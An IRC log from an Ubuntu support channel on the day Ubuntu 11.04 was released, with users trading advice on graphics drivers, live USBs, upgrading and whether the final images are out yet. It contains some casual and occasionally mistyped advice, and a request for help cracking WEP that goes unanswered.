[10:11] <Macer> Incarus6: i haven't used enlightenment in a LONG time.. but it was ok.. i didn't like its dock too much and it took too long to tweak.. plus isn't it gtk ? :)
[10:11] <Incarus6> guest345345, I think Im going to test it when Natty is released. But I think its no fun: the 2D version and a Quad-Core computer
[10:12] <Macer> something about most gtk things .. they make me feel like i am using motif
[10:12] <nmvictor> JR0cket1: coz far as I live, today is 28^th april 2011
[10:12] <jatt> windowmaker was sweet too too bad it died
[10:12] <JR0cket1> nmvictor: The release team is in the UK, so I recon around lunchtime, early afternoon UTC+1
[10:12] <Macer> like no matter how much work they do on it gtk always seems to remind of me windows 3.1
[10:12] <jatt> or fvwm in redhat distributions
[10:12] <JR0cket1> nmvictor: thats just a guess... nothing official..
[10:12] <nmvictor> JR0cket1: thats encouraging.
[10:12] <guest345345> Incarus6: as far as I know.....you only need OpenGL support....but I could be wrong
[10:12] <Incarus6> Macer, correct. I dont like e16 that much, but E17 is much better ;)
[10:13] <guest345345> Incarus6: or more specifically open GLES
[10:13] <Rehan> whats plymouth?
[10:13] <Macer> is e17 qt or something?
[10:13] <guest345345> Rehan: the boot screen
[10:13] <Rehan> oh ok
[10:13] <Macer> i'm sure glad kde decided to stick with the qt route. they have done a great job of it
[10:14] <Rehan> yeah i had problems with it because i had to use nvidia drivers instead of nouveau
[10:14] <Incarus6> guest345345, I think its working with the nouveau drivers, the proprietary drivers arent supported: http://askubuntu.com/questions/21427/does-unity-require-proprietary-graphics-card-drivers
[10:14] <Marco1> hey guys, let's make #natty a twitter trending topic!
[10:14] <guest345345> Incarus6: oh...yeah I had heard something to that affect....
[10:14] <guest345345> Incarus6: I only buy Intel graphics anyway
[10:15] <Macer> intel? really?
[10:15] <guest345345> Incarus6: So long as they can handle 1080 video I don't care
[10:15] <nmvictor> Natty will revolutionalize Linux, seemingly it will bring some investors into open source market. The worst news is canonical will go fully business and if we're not lucky, the promise of ubuntu always being free might be broken.
[10:15] <guest345345> Incarus6: I don't game
[10:15] <guest345345> Incarus6: anything more than an Intel HD integrated is overkill for me
[10:15] <Macer> haha.. that is a very fair point
[10:15] <guest345345> Incarus6: Why burn watts if you don't need to ;) ?
[10:15] <Macer> guest345345: get a new artigo ;) it has hdmi out
[10:16] <guest345345> Intel HD cards have HDMI out too
[10:16] <Incarus6> guest345345, yeah, I dont buy special cards, Im using the integrated graphic card
[10:16] <Macer> i am a huge fan of the little boxes
[10:16] <guest345345> and they're ultra low power
[10:16] <Macer> guest345345: yeah but the artigo stuff is half the size of an internal optical drive
[10:16] <Macer> uses the via pico itx stuff
[10:17] <guest345345> Sounds cool....but I'm not picky about graphics really
[10:17] <Macer> i have an older 1GHz one that i use as my local shell box/dns etc
[10:17] <guest345345> just low power and plays video is enough
[10:17] <Macer> heh
[10:17] <Macer> me too... but my fileserver is a beast.. it consumes power and spits it out
[10:17] <Macer> with its 10 hard drives and its 2 opteron 285s
[10:17] <guest345345> The reason I dig Intel is because they have done quite a bit for Open Source....and their own drivers are completely open
[10:18] <nmvictor> Shipit closed down!
[10:18] <Macer> i actually want to upgrade the cpus but it is hard finding faster cpus for socket 940 nowadays
[10:18] <shmoolikipod> to update all I need to type: sudo apt-get dist-update?
[10:18] <Incarus6> Does someone have graphic card / Xorg related issues, here?
[10:18] <citra-indah> guys can you help me
[10:18] <citra-indah> ?
[10:18] <Rehan> why are proprietary drivers not preferred over open source ones?
[10:19] <guest345345> shmoolikipod: yeah...but you need to update the apt cache first
[10:19] <Incarus6> !ask | citra-indah
[10:19] <ubottu> citra-indah: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[10:19] <citra-indah> how can i find the  x11 folder?
[10:19] <mehdi> does sftp through terminal support resume?
[10:19] <shmoolikipod> guest345345, yeah sure :D, thanks :)
[10:19] <DJones> Rehan: Its because they're limited to updates by the manufacturer and can't be modified by the community
[10:19] <nmvictor> shmoolikipod: to upgrade, you meant, update showld translate to `sudo ate-get upgrade
[10:19] <guest345345> Rehan: because proprietary means the manufacturers are solely responsible for progress
[10:19] <guest345345> Rehan: and they couldn't give a sh*t about many platforms
[10:19] <Rehan> ohh i see
[10:19] <guest345345> or improving support on them
[10:20] <Incarus6> Rehan, drivers tells us alot about the hardware, they won't show you how exactly their hardware works
[10:20] <Rehan> i tried the nouveau ones for my laptops nvidia card and kept having problems with it and then after installing the nvidia ones it worked perfectly
[10:20] <shmoolikipod> nmvictor, thanks
[10:20] <Incarus6> 11.04 seems to be out: http://releases.ubuntu.com/natty/ubuntu-11.04-desktop-i386.iso
[10:20] <guest345345> Intel Graphics are trailing the pack by miles......but their drivers are open....they're by far the best choice for Linux unless you need gaming power
[10:21] <guest345345> But to be fair....gaming on Linux ain't great anyway
[10:21] <Incarus6> nevermind
[10:21] <rverrips> thanks Incarus6
[10:21] <Incarus6> rverrips, nevermind, its the beta
[10:21] <elzoog> Yeah, I don't recommend linux if your primary purpose for using your computer is gaming
[10:22] <andeeeuk> Incarus6 is that actually the final release now?
[10:22] <Incarus6> andeeeuk, no, its from 26. April
[10:22] <guest345345> elzoog: I don't really game anyway...but if I did...I think it makes more sense to have a dedicated machine
[10:22] <Macer> how much power does a fast i7 use maxed out?
[10:22] <Macer> Wattage: 92.6W
[10:22] <Rehan> any way to quickly check from cli which driver i'm actually using (not sure if i uninstalled nouveau, i remember i needed it for plymouth i think)
[10:22] <andeeeuk> Incarus6, lol ok
[10:22] <Macer> that is a 2.8GHz single core athens cpu for my mboard
[10:22] <guest345345> elzoog: No need to beat the shit out of your office machine by playing games on it ;)
[10:23] <Macer> 92W! wow
[10:23] <Incarus6> andeeeuk, just thought it was the final
[10:23] <andeeeuk> Incarus6, yeah its hard waiting sometimes isnt it... lol
[10:24] <rverrips> Thanks for the heads' up andeeeuk - I think it's still the beta Incarus6 - won't the final drop the name natty?
[10:24] <alrra> when is ubuntu 11.04 going to be available to download ? :)
[10:24] <citra-indah> i havei have sis vga on my laptop, and the resolution can't more than 800x600 pixel, so how can i improve my resolution on my ubuntu 10.04?
[10:24] <Incarus6> andeeeuk, come on, I wont to test it -.-
[10:24] <guest345345> All the inpatient fanatics should be running beta if they love it that much
[10:24] <ugisozols> alrra: today
[10:24] <guest345345> Why aren't you inpatient folks testing beta and helping to improve it? ;)
[10:24] <Rehan> guest345345: any way to quickly check from cli which driver I'm actually using (not sure if I uninstalled nouveau, remember needing it for plymouth i think) thanks
[10:24] <Incarus6> guest345345; I agree, but new releases are allways great for me. If it wouldn't be that great for me I would use debian ;)
[10:25] <andeeeuk> Incarus6, lol. I just want to upgrade to get back to work.
[10:25] <vibhav> So guys....
[10:25] <guest345345> Rehan: yeah, as nice as the ideology of open source is......at the moment...the proprietary drivers are a lot better
[10:25] <elzoog> I forgot if someone answered this, but if I put 11.04 on my flash stick, then later install other programs.  Will those other programs get installed if later on I decide to use that stick to install Ubuntu on my hard drive?
[10:26] <alrra> ugisozols: i know that :) but maybe a more precise time ? tnx
[10:26] <dalibor> heey
[10:26] <elzoog> guest345345:  I am all for having the choice to use proprietary drivers.
[10:26] <guest345345> elzoog: It's possible to do...but I remember it being pretty unreliable last time I tried
[10:26] <ugisozols> alrra: that is the most precise time :)
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[10:26] <FloodBot2> vibhav: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
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[10:27] <dalibor> some way to crack WEP i use virtual box  but cant see any wep near by but i have a wirlees connection..
[10:27] <alrra> ugisozols: ok tnx :)
[10:27] <guest345345> Yeah proprietary is fine if that's the way they want it....just important that open source drivers are developed in paralel in case they ever pull support
[10:27] <slips> anyone knows how I avoid that fsck fails during boot if the hwclock is set back in time?
[10:28] <Incarus6> elzoog, you can make an usb stick eprsistent and non-persistent
[10:28] <dalibor> cmon_
[10:28] <vibhav> FloodBot2 sets mode -q #ubuntu vibhav!*@* what does that mean?
[10:28] <dalibor> somone could help me with this_
[10:28] <guest345345> vibhav: it means you made floodbot angry
[10:28] <Incarus6> elzoog, https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[10:29] <Rehan> guest345345: thanks for all the help. I had another question. If I made a liveCD to install 11.04 from, boot it up, format the current 10.10 partition and leave the win7 NTFS one alone, will my current GRUB2 dual boot menu be totally borked
[10:29] <guest345345> The persistence seems to work ok for documents etc.
[10:29] <ScottONanski1> Ugh, this wait is killing me
[10:29] <guest345345> but didn't seem to work that great for packages
[10:29] <guest345345> when I tried anyway
[10:29] <lovee__To_hAXK> heeeey
[10:29] <dreinull_> yay, its out
[10:29] <Incarus6> guest345345, it worked great for me the last time i tried it (10.10)
[10:29] <ScottONanski1> It's not out now.
[10:29] <lovee__To_hAXK> whats up?
[10:29] <Rehan> dreinull_: no its not
[10:29] <ScottONanski1> I just looked at the site.
[10:30] <dreinull_> ftp://ftp.releases.ubuntu.com/releases/11.04
[10:30] <guest345345> Incarus6: oh cool.....I might try again then
[10:30] <lovee__To_hAXK> Hey why cant i connect WEP _
[10:30] <lovee__To_hAXK> ?
[10:30] <Rehan> dreinull_: thats the beta
[10:30] <dreinull_> I'm loading the release right now
[10:30] <elzoog> Rehan:  Depends on whether or not your boot partition is seperate from the main 10.10 partition.   If not, then your formatting will overwrite it and your grub2 will be screwed
[10:30] <Incarus6> guest345345, I dont like live usb sticks that much. They seems to be slowlier then live cds.
[10:30] <andeeeuk> does anyone know if it is worth upgrading to 11.04, in terms of stability?
[10:30] <jatt> it's not worth it
[10:30] <dreinull_> Rehan: I'm on ftp
[10:30] <guest345345> Incarus6: I have a script for installing and configuring any new machine I roll out - would be nice to throw the script on the USB and pull packages from the local cache
[10:31] <SixtyFold> no
[10:31] <Incarus6> andeeeuk, it is
[10:31] <SixtyFold> its actually worse for stability
[10:31] <Name141> How would you map out your windows shares?  I mean if you are going to play an MP3 from it with mpg321 ?  Do you use smb://192.../path/file.mp3 ?
[10:31] <jatt> stick with a LTS release
[10:31] <elzoog> Incarus6:  Yeah, but a liveCd doesn't have the option of modifying what's on it usually
[10:31] <Incarus6> elzoog, correct. a persistent usb stick got that option
[10:31] <ScottONanski1> There's only betas in the ftp.
[10:31] <dreinull_> o, the torrent is not yet authorized
[10:31] <lovee__To_hAXK> Why cant i find WEP? I use VB should i maybe change to live CD?
[10:32] <m3t4lukas> hey, when is the release, guys?
[10:32] <jatt> 11.04 will have a lot of bugs better wait until it is polished with patches for a while
[10:32] <andeeeuk> Incarus6 is that actually the final release now?
[10:32] <SixtyFold> its only 5:31am, wow
[10:32] <SixtyFold> hehe
[10:32] <dreinull_> anyway, the torrent is here: ftp://ftp.releases.ubuntu.com/releases/11.04/ubuntu-11.04-desktop-i386.iso.torrent
[10:32] <lovee__To_hAXK> Somone here use BT?
[10:32] <dreinull_> lovee__To_hAXK: me
[10:32] <Incarus6> dreinull_, its the beta release
[10:32] <m3t4lukas> at my place it is 11:32 am
[10:32] <dreinull_> no, it's not
[10:32] <Name141> or is there some other way to see the windows shares again ? I forgot about ?
[10:32] <dreinull_> look at the date
[10:32] <Rehan> here its 2:32 AM
[10:32] <guest345345> Incarus6: so you are saying.....if I pull some packages to the apt cache on my USB stick......I can install from those packages when I install later?
[10:32] <lovee__To_hAXK> HEEY
[10:32] <m3t4lukas> :P
[10:32] <elzoog> dreinull_:  Yes it is
[10:32] <lovee__To_hAXK> derinull
[10:33] <guest345345> Incarus6: cuz it's been a while since I tried it.....but it never seemed to work before
[10:33] <dreinull_> elzoog: look at the timelog 28.04.11 08:35:00
[10:33] <Incarus6> dreinull_, nut sure about that, it was updated today, so it could be the final release
[10:33] <lovee__To_hAXK> wich one BT4?
[10:33] <matto1990> I have a 64 bit CPU and use 64 bit Windows 7. Is Ubuntu good enough for me to use 64 bit yet?
[10:33] <dreinull_> I checked earlier today and it said beta and April 14
[10:33] <m_fulder> do I need to update ubuntu 10.04 to 10.10 before I can update to 11.04 :S?
[10:33] <ScottONanski1> I feel a great disturbance in the Force, as if millions of Ubuntu repositories suddenly cried out in terror, and were suddenly silenced."
[10:33] <guest345345> matto1990: yes!
[10:33] <dreinull_> m_fulder: guess so
[10:34] <idefix> my num keys don't work anymore, what could be the problem? is my keyboard broken? how can you check that?
[10:34] <vadviktor> dreinull_:  latest beta is april 26 :)
[10:34] <guest345345> matto1990: Assuming your hardware isn't too obscure
[10:34] <archieval> Whats the ETA on Natty Narwhal release?
[10:34] <Marco1> here it is!
[10:34] <Marco1> http://releases.ubuntu.com/natty/
[10:34] <m3t4lukas> matto1990 of course it is
[10:34] <lovee__To_hAXK> Should i change to Ubuntu Is it better than BT4?
[10:34] <jatt> you won't tell the difference between 64bit and 32bit unless you have lots of ram and/or run programs with heavy CPU usage
[10:34] <m_fulder> right, and could something go wrong during an update like that ? (I got a bunch of scripts etc. on my comp which I don't want to loose)
[10:34] <matto1990> will you have a problem with drivers or anything though? I have a year or so old Acer laptop
[10:34] <SixtyFold> are you having trouble with BT4?
[10:35] <guest345345> jatt: Except the fact that using 64-bit floating points means his average memory usage will go up quite a bit
[10:35] <Incarus6> guest345345, you can install packages with apt-get on the live usb stick
[10:35] <m3t4lukas> matto1990 no, with Acer you will have less problems
[10:35] <matto1990> m3t4lukas: less? How so?
[10:36] <guest345345> Incarus6: yeah I know that.....but can you reference those packages for a hard installation later?
[10:36] <m3t4lukas> mott01990 sry *the least
[10:36] <guest345345> Incarus6: like the same as using the CD in sources.list?
[10:36] <m3t4lukas> motto1990 I was looking for the word
[10:36] <guest345345> Incarus6: I know you could dpkg them....but it's kind of a pain
[10:36] <dreinull_> its getting crowded on bt. > 60.
[10:37] <lovee__To_hAXK> heey i have a PROBLEM with BT4
[10:37] <Incarus6> guest345345, uff Im not sure about that. dont you have an easier solution for that?
[10:37] <guest345345> Incarus6: because if you bypass apt...it doesn't log dependencies
[10:37] <matto1990> m3t4lukas: ah ok, so it should work really well. What about ATI GPU? good support for that?
[10:37] <llutz_> !backtrack | lovee__To_hAXK
[10:37] <ubottu> lovee__To_hAXK: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[10:37] <Rehan> dreinull_: are you getting the final ?
[10:37] <dreinull_> Rehan: yes
[10:37] <Rehan> dreinull_: where from, and how are you sure its not a beta?
[10:38] <dpac> What UTC time does natty gets released?
[10:38] <m3t4lukas> motto1990 ATI, NVIDIA, INTEL, they are all well supported
[10:38] <lovee__To_hAXK> Cant Crack WEP With BT4...
[10:38] <dreinull_> Rehan: why would they label the beta without the beta in its name?
[10:38] <llutz_> lovee__To_hAXK: read what ubottu told you and respect the rules please
[10:38] <elzoog> According to this site  http://releases.ubuntu.com/  the date stamp for 11.04 is 28-Apr-2011 09:11
[10:38] <guest345345> Incarus6: easier, maybe...but not as seemless
[10:38] <matto1990> m3t4lukas: perfect. Thanks for the help. May as well go for 64 bit then :)
[10:39] <guest345345> Incarus6: it should be possible....and it's the most intuitive way to do it
[10:39] <vadviktor> Confirmed: Edubuntu just got it's FINAL torrent dvd out! :)
[10:39] <lovee__To_hAXK>  ..
[10:39] <guest345345> Incarus6: but I guess very few people need that ability
[10:39] <dreinull_> oh, connections are now refused
[10:39] <Incarus6> http://www.kubuntu.org/ changed
[10:41] <guest345345> http://releases.ubuntu.com/natty/ still takes me to the beta releases
[10:41] <vadviktor> Confirmed: http://releases.ubuntu.com/natty/ has the FINAL images listed! :) Happy downloading!
[10:41] <Incarus6> vadviktor, negative.: it takes me to http://releases.ubuntu.com/natty/ubuntu-11.04-beta2-desktop-i386.iso
[10:41] <guest345345> yeah exactly
[10:41] <KNUBBIG> sudo update-manager should download something if I'm on beta2, right?
[10:41] <guest345345> and it even says beta 2 at the top of the page
[10:42] <dpac> vadviktor: Not for me
[10:42] <m3t4lukas> http://ubuntuone.com/p/p5S/ there's a background that looks great with the new Ubuntu Unity look
[10:42] <guest345345> oh...scratch that....effing cache
[10:42] <guest345345> he's right....it's there
[10:42] <vadviktor> Incarus6: check back a few minutes later, I AM downloading the release images right now, with PROPER names
[10:42] <guest345345> just had a stubborn cache
[10:42] <andeeeuk> no its not beta2 anymore
[10:42] <Incarus6> vadviktor, Im upgrading, not downloading images ;)
[10:42] <andeeeuk> it is the final release
[10:42] <dreinull_> I told you guys
[10:43] <Grimdin> i already installed 11.04 ;)
[10:43] <ScottONanski1> http://releases.ubuntu.com/11.04/ubuntu-11.04-desktop-amd64.iso
[10:43] <andeeeuk> lol
[10:43] <Sagramor> it's released?
[10:43] <dpac> I still see cached version of the page
[10:43] <guest345345> Yeah it's out....they should have set the page cache to expire today
[10:43] <dreinull_> bt is kinda slow :)
[10:43] <guest345345> lol
[10:43] <andeeeuk> is it ok to upgrade from the mamanger now?
[10:43] <guest345345> andeeeuk: yeah
[10:43] <andeeeuk> sweeet
[10:43] <Incarus6> cleared cache, cant confirm that. Its Beta2
[10:43] <dreinull_> more people please: ftp://ftp.releases.ubuntu.com/releases/11.04/ubuntu-11.04-desktop-i386.iso.torrent
[10:43] <andeeeuk> happy 11.04 everyonr
[10:43] <KNUBBIG> how do I upgrade from beta2 to release?
[10:44] <Syria> is it out yet?
[10:44] <guest345345> Incarus6: yeah I did a shift-F5 in Chrome
[10:44] <dreinull_> Incarus6: use the ftp link
[10:44] <guest345345> has to clear the whole cache
[10:44] <iceroot> KNUBBIG: sudo apt-get update && sudo apt-get dist-upgrasde
[10:44] <guest345345> not sure why
[10:44] <guest345345> But the image link is the real deal
[10:44] <Incarus6> Still not released in the update manager
[10:44] <KNUBBIG> iceroot, that ownly downloads one package, is that correct?
[10:44] <KNUBBIG> only*
[10:45] <Incarus6> guest345345, Ok, I can confirm that know ;)
[10:45] <loka> ubuntu feels so bloated, i installed efxc over gnome yesterday and dident like it so i did sudo apt-get remove xubuntu-desktop, now i have 2 diffrent terminals! how can i remove the "xubuntu-desktop"s terminal?
[10:45] <iceroot> KNUBBIG: no
[10:45] <KNUBBIG> :(
[10:45] <iceroot> KNUBBIG: its doing what you want
[10:45] <iceroot> KNUBBIG: beta 2 -> final
[10:45] <KNUBBIG> iceroot, okay, thanks
[10:46] <guest345345> loka: that's not bloat...that just you messing up your system
[10:46] <dpac> wget gives me 404 for that link. FTP doesn't show the release files either
[10:46] <matto1990> tracker refusing to accept torrent yet, must wait :P
[10:46] <m3t4lukas> yeah, I updated :)
[10:46] <guest345345> it's generally not smart to be running 2 environments when it's still beta
[10:46] <m3t4lukas> hum, don't looks much different...
[10:46] <kenkam> can't wait for the new ubuntu :)
[10:46] <m3t4lukas> but it don't knows my blender release 1.57...
[10:47] <m3t4lukas> I mean the updater
[10:47] <loka> guest345345 it is pretty messed up yeah lol
[10:48] <guest345345> loka: if you want to try a different environment just for a while...I suggest using virtualbox
[10:48] <guest345345> or a live disk
[10:48] <guest345345> they generally don't play well together
[10:48] <proq> I started an ubuntu install with wubi over win7. it got past download and status said install about two hours ago, now the progress bar is about 60% and hasn't moved in an hour. what should I do?
[10:48] <guest345345> and Linux doesn't babysit core packages like Windows does....they all just packages
[10:48] <guest345345> you can fuck them up pretty easily
[10:49] <Incarus6> proq, wubi sint supported in windows 7, sorry
[10:49] <Incarus6> *isnt
[10:49] <almoxarife> loka: you didn't completely remove the desktop
[10:49] <andeeeuk> it actually still says it is a beta release from the update manager
[10:49] <andeeeuk> damn thing :s
[10:50] <Incarus6> proq, it could be supported yet, I dont know. I had the same problem with wubi. check back if you use the latest wubi release
[10:50] <proq> Incarus6: hrm... that's a lovely thing to find out after a five hour install
[10:50] <k4g6> this is probs said a billion times now. but how long till were pexecting
[10:50] <guest345345> jesus...Windows is still taking 5 hours to install?!
[10:51] <k4g6> expecting**
[10:51] <guest345345> what a pile of bloat lol
[10:51] <m3t4lukas> do a parallel installation
[10:51] <Ruuumb0> Hello
[10:51] <proq> guest345345: no, wubi hit an error and just stopped
[10:51] <guest345345> Ubuntu+kickstart script takes less than 30 minutes for a fullt installed and configured machine here
[10:51] <Incarus6> proq, you could cancel it earlier ;)
[10:51] <almoxarife> proq: wubi install of 10.10?
[10:52] <guest345345> It's tragic that you have to download and install things one by one on a new Windows install
[10:52] <guest345345> even Mac users have homebrew and macports
[10:52] <guest345345> Windows is just awful
[10:52] <Incarus6> proq, the wubi installation should take around 5 minutes
[10:52] <Incarus6> proq, after the download
[10:52] <proq> almoxarife: when I selected netbook from wubi, it started grabbing ubuntu 10.04
[10:53] <Nefertiti> When ubuntu 11.04 will be available for download?
[10:53] <jasonmchristos> the toram option for the live cd should be default because it not only frees up the cd drive for use, playing and burning, when people are testing it also it increases the speed and responsiveness of the OS
[10:53] <andeeeuk> does the update manager still say that it is the beta release when doing an upgrade?
[10:53] <proq> well, maybe tomorrow I can grab wubi netbook 11.04 and try again
[10:53] <almoxarife> proq: that's ok, how are you connected to the internet?
[10:53] <proq> or just the full version
[10:53] <Ruuumb0> /join #php
[10:53] <guest345345> Nefertiti: now
[10:53] <guest345345> Ruuumb0: no thanks
[10:53] <Ruuumb0> sorry
[10:53] <proq> almoxarife: wireless connection to a wireless router
[10:53] <Ruuumb0> Its jabber client
[10:53] <guest345345> lol
[10:54] <guest345345> hah busted joining the PHP channel...you must be pretty ashamed now
[10:54] <almoxarife> proq: you are stuck in the updates from internet portion?
[10:54] <guest345345> ;)
[10:54] <Incarus6> Oh Im so excited, WUBAWUBAWU :D nevermind. I heard 11.04 is going to bereleased in 10 minutes
[10:54] <Nefertiti> Ah :)
[10:54] <jasonmchristos> The toram option for the live cd should be default because it not only frees up the cd drive for use, such as playing and burning, when people are testing, and it also it increases the speed and responsiveness of the OS.
[10:54] <proq> almoxarife: it didn't say what stage it was in, just that it was installing
[10:54] <Nefertiti> Finally :)
[10:54] <msb___> I am convinced that it is available here now: http://releases.ubuntu.com/natty/
[10:55] <guest345345> msb__:it is
[10:55] <daskog> Any webdevelopers here that only use Ubuntu? how is day to day usage & do you run Photoshop etc in Virtualbox etc?
[10:55] <guest345345> just not announced yet
[10:55] <jasonmchristos> The toram option for the live cd should be default because it not only frees up the cd drive for use, such as: playing and burning, when people are testing, and it also it increases the speed and responsiveness of the OS.
[10:55] <Incarus6> daskog, here
[10:55] <guest345345> daskog: Yeah I use Ubuntu for development, testing and deployment
[10:56] <CoolChEEzE> daskog, i run photoshop and dreamweaver in vbox on ubuntu ... works great
[10:56] <guest345345> daskog: it's fine....best platform I've ever used
[10:56] <Phoop> I do it the other way around, I run Ubuntu in VBox :)
[10:56] <almoxarife> proq: from my experience with wubi, I found that it would always hang on a wifi connection if the connection was not an open connection
[10:56] <andeeeuk> #Does anyone know why it still says it is a beta release in the update manager?!?!
[10:56] <Incarus6> daskog, im running kubuntu. when i have to use PS im starting win 7 in virtualbox
[10:56] <guest345345> daskog: To be honest...I find Inkscape better for mock-ups and vectors that Photoshop/Illustrator
[10:56] <jatt> yes I will try this 11.04 on vbox
[10:56] <Incarus6> andeeeuk, 11.04 isnt released yet
[10:56] <daskog> How is performance for Virtualbox apps like Adobe suite?
[10:56] <guest345345> don't even need Wine
[10:56] <proq> almoxarife: ok good to know, I'll try with a cable
[10:56] <jatt> no? I am downloading it from http://releases.ubuntu.com/natty/
[10:57] <nashj> I am most comfortable with Ubuntu... Have not used windows for quite some time now...
[10:57] <guest345345> daskog: Give Inkscape a try...it's really clean and fast compared to Adobe suite
[10:57] <Incarus6> jatt, yes but not in the repos
[10:57] <CoolChEEzE> daskog, performance is great on my machine... cant really see alot of diff
[10:57] <CoolChEEzE> use win 7 on it
[10:57] <seniseni> Congratulations!!
[10:57] <Marco1> when will be the official annoucement?
[10:57] <Incarus6> Marco1, I heard in 7 minutes
[10:57] <almoxarife> proq: if you connect the cable without doing anything else it may go on
[10:57] <andeeeuk> Incarus6: ok thanks.
[10:57] <guest345345> daskog: you will probably want to hate it a whole due to the new learning curve.....but it's save as native SVG
[10:57] <andeeeuk> I will check back soon :)
[10:57] <Nefertiti> Thank you msb link is working for me.
[10:57] <daskog> Inskscape looks really good
[10:57] <guest345345> daskog: which has a lot of advatages for web dev
[10:57] <seniseni> 10% downloaded ^_^
[10:57] <guest345345> daskog: even more so soon
[10:58] <proq> seniseni: 10% of ubuntu 11.04?
[10:58] <daskog> what you mean?
[10:58] <guest345345> s/whole/while
[10:58] <seniseni> proq: yep
[10:58] <seniseni> Its availaable
[10:58] <jatt> any pointers how to install ubuntu in virtualbox? host ubuntu
[10:58] <nashj> But, recently i made a big mistake of swithching to KDE!
[10:58] <proq> seniseni: awesome, I'm going to go to bed and install 11.04 tomorrow with wubi  :D
[10:58] <seniseni> proq: gl ^_^
[10:58] <vadviktor> nashj: it is not a misstake, you just took a wrong turn XD
[10:59] <almoxarife> proq: I don't think wubi works with 11.04, check first
[10:59] <ribot> how can i make the computer always connect automatically to a wlan
[10:59] <nyoger> ribot, connect once and it should auto add to your default connections
[10:59] <almoxarife> ribot: set the connection to auto
[11:00] <nyoger> you can check your wlan0 right clicking the networking-manager-gnome icon
[11:00] <Incarus6> guest345345, http://wiki.ubuntuusers.de/chromium (German) says, that chromium in the repo is modified
[11:00] <linuxfreaker> Hello
[11:00] <any> seniseni: where is it available?
[11:00] <linuxfreaker> Is Ubuntu 11.04 release
[11:00] <there> hey looks like it's out
[11:01] <WaltherFI> When will the Natty be released today?
[11:01] <nyoger> which is best to use google chrome or chromium ?
[11:01] <kichawa> http://nl.archive.ubuntu.com/ubuntu-cdimages/natty/release/
[11:01] <almoxarife> nyoger: chromium
[11:01] <Incarus6> nyoger, chromium is modified by the distributors
[11:01] <commanace> Hey everyone, does anyone know how I can tell apt that my package is being managed by another packaging system? Which boils down to: it should mark the package as installed but not actually install it and set a flag such that the package will not be updated if there's a new version in the tree...
[11:01] <guest345345> someone should start up a bit here that prints the direct links every time someone says "11.04"
[11:01] <guest345345> bot*
[11:01] <linuxfreaker> http://news.softpedia.com/news/Ubuntu-11-04-Officially-Released-197181.shtml
[11:02] <linuxfreaker> Is announcement for Natty done?
[11:02] <nyoger> Incarus6, i'm sure source code is available
[11:02] <o__> chromium is totally open source
[11:02] <seniseni> im almost download it
[11:02] <tsimpson> linuxfreaker: it's not released yet
[11:02] <guest345345> Incarus6: do you read German?
[11:02] <seniseni> but torrents down
[11:02] <ribot> almoxarife: where do i set this
[11:02] <guest345345> Incarus6: cuz I have no idea what that says lol
[11:02] <vibhav> FloodBot2 sets mode -q #ubuntu vibhav!*@* what does that mean?
[11:02] <commanace> I see that there's a --no-upgrade option, but that does not prevent apt from actually installing the package...
[11:02] <Incarus6> guest345345, I am german, lol
[11:02] <seniseni> Torrents up
[11:02] <guest345345> Incarus6: oh :)
[11:02] <linuxfreaker> How softpedia saying "officially released"
[11:02] <vibhav> <seniseni> really?
[11:02] <guest345345> Incarus6: does it say what they modify?
[11:02] <seniseni> vibhav: yes
[11:02] <linuxfreaker> http://news.softpedia.com/news/Ubuntu-11-04-Officially-Released-197181.shtml
[11:02] <tsimpson> linuxfreaker: because they're wrong
[11:03] <Incarus6> linxfreaker, its released, but not in the repo yet
[11:03] <any> thx
[11:03] <seniseni> For blinds: http://releases.ubuntu.com/natty/
[11:03] <tsimpson> Incarus6: no, it's not
[11:03] <linuxfreaker> Is it announced internally in any mailing list
[11:03] <tsimpson> no, it's not
[11:03] <linuxfreaker> okie thnx
[11:03] <Incarus6> tsimpson, http://releases.ubuntu.com/natty/
[11:03] <linuxfreaker> Guys, i am facing issue logging into ubuntu 11.04 machine
[11:04] <linuxfreaker> When i am providing login n passwd it throwing me back to the machine
[11:04] <linuxfreaker> tsimpson, is ISO available?
[11:04] <linuxfreaker> Is that final ISo
[11:05] <andeeeuk> http://releases.ubuntu.com/natty/ iso is here!!
[11:05] <WaltherFI> Is it beta or the final?
[11:05] <andeeeuk> final iso, it is just not in the repo yet :s
[11:05] <niels1> ...waiting for it to be in the repo's.
[11:05] <guest345345> andeeeuk: why not just download and do fresh install?
[11:06] <Marco1> still waiting official announcement...
[11:06] <niels1> because then all my other packages will be gone, including settings etc.. etc..
[11:06] <there> pretty decent dl speed. i thought the server would be hammered
[11:06] <andeeeuk> I prefer doing an update
[11:06] <guest345345> If people can't have a new install looking exactly like their old install within 15 minutes...they're doing something wrong
[11:06] <andeeeuk> a lot easier
[11:06] <vibhav> why cant I send anything to th #ubuntu-release-channel???????
[11:06] <guest345345> Between Ubuntu One and a config script.....I can have an identical system within about 10 minutes
[11:06] <guest345345> from a single command
[11:07] <jiltdil> is upgrading my ubuntu 10.10 to 11.04 also removes my virtual box OS?
[11:07] <vibhav> why cant I send anything to th #ubuntu-release-channel???????
[11:07] <guest345345> vibhav: because ChanServ has muted you
[11:07] <Phoop> vibhav: probably because you are banned
[11:07] <guest345345> beucase you were flooding
[11:07] <vibhav> how do i get unbanned?
[11:08] <guest345345> by waiting until it expires
[11:08] <vibhav> please?
[11:08] <guest345345> and then behaving like a good boy
[11:08] <Internat> you got banned for posting links or hashes or something
[11:08] <vibhav> Expires in how many minutes?
[11:08] <ScottONanski1> Installing 11.04 on my Alienware m15x. Great setup process!
[11:08] <vibhav> What i did was a countdown.....
[11:08] <MaRk-I> vibhav: mutes and bans expire after a month...
[11:08] <vibhav> <guest345345> Expires in how many minutes?
[11:08] <step21> Scott-Mc, 11.04 is #ubuntu+1
[11:09] <step21> oops
[11:09] <vibhav> <MaRk-I> Ohoo nooooo!
[11:09] <vibhav> <MaRk-I> Is there another way?
[11:09] <step21> ScottONanski1, 11.04 is in #ubuntu+1
[11:09] <guest345345> vibhav: you should do /msg ChanServ I am very sorry sir....I win't do it again
[11:10] <guest345345> haha
[11:10] <Nefertiti> :D
[11:10] <harvi> lol
[11:10] <guest345345> maybe he will go easy on you
